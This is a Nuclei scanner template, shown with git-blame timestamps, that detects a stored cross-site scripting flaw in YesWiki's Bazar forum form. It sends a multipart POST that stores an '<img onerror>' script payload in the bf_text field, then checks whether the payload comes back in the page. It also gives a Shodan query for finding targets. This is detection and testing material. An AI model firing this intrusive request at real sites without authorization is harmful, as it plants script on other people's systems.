2022-08-09 07:27:50 +00:00
|
|
|
id: yeswiki-stored-xss
|
2022-08-08 21:10:20 +00:00
|
|
|
|
|
|
|
info:
|
2022-09-09 17:34:37 +00:00
|
|
|
name: YesWiki - Stored Cross-Site Scripting
|
2022-08-08 21:10:20 +00:00
|
|
|
author: arafatansari
|
2022-09-23 17:53:08 +00:00
|
|
|
severity: high
|
2022-08-08 21:10:20 +00:00
|
|
|
description: |
|
2022-09-23 17:53:08 +00:00
|
|
|
YesWiki contains a stored contains a cross-site scripting vulnerability via the bf_text field when adding a new entry for Forum.
|
2022-08-08 21:10:20 +00:00
|
|
|
reference:
|
2022-08-09 07:27:50 +00:00
|
|
|
- https://huntr.dev/bounties/5f27a9b1-c092-47e2-8092-a81298a4b932/
|
2022-09-23 17:53:08 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
|
|
cvss-score: 7.2
|
|
|
|
cwe-id: CWE-79
|
2024-09-10 08:22:50 +00:00
|
|
|
cpe: cpe:2.3:a:yeswiki:cercopitheque:*:*:*:*:*:*:*:*
|
2022-08-08 21:10:20 +00:00
|
|
|
metadata:
|
2022-08-09 07:27:50 +00:00
|
|
|
verified: true
|
2023-10-14 11:27:55 +00:00
|
|
|
max-request: 2
|
2022-08-08 21:10:20 +00:00
|
|
|
shodan-query: http.html:"yeswiki"
|
2024-09-10 08:22:50 +00:00
|
|
|
product: cercopitheque
|
|
|
|
vendor: yeswiki
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: yeswiki,xss,stored-xss,huntr,intrusive
|
2022-08-08 21:10:20 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-08-08 21:10:20 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /?BazaR&vue=saisir&action=saisir_fiche&id=2 HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="bf_titre"
|
|
|
|
|
|
|
|
blog
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="bf_text"
|
|
|
|
|
2022-08-09 18:36:59 +00:00
|
|
|
"><img src=x onerror=console.log(123);>
|
2022-08-08 21:10:20 +00:00
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="file"; filename=""
|
|
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="bf_description"
|
|
|
|
|
|
|
|
abcd
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="fichierbf_file"; filename=""
|
|
|
|
Content-Type: application/octet-stream
|
|
|
|
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="antispam"
|
|
|
|
|
|
|
|
1
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu
|
|
|
|
Content-Disposition: form-data; name="id_typeannonce"
|
|
|
|
|
|
|
|
2
|
|
|
|
------WebKitFormBoundaryT8dS2PT0WtxACLyu--
|
|
|
|
- |
|
|
|
|
GET /?BazaR&vue=consulter HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
matchers:
|
2022-08-09 07:27:50 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2023-06-19 21:10:30 +00:00
|
|
|
- "contains(header_2, 'text/html') && contains(header_2, 'YesWiki')"
|
2022-08-09 07:27:50 +00:00
|
|
|
- "status_code_2 == 200"
|
2022-08-09 18:36:59 +00:00
|
|
|
- contains(body_2, '><img src=x onerror=console.log(123);>')
|
2022-08-08 21:10:20 +00:00
|
|
|
condition: and
|
2024-09-12 05:14:01 +00:00
|
|
|
# digest: 4b0a00483046022100d07e61ef02f1137aaea22351c0864bccfe0a23fd4d5a256e092f8ab752145eb1022100ceebf8a77d92a258f74c609dc12cb70a70dfffcfaf0a07d32a21f9db3b77990b:922c64590222798bb761d5b6d8e72950
|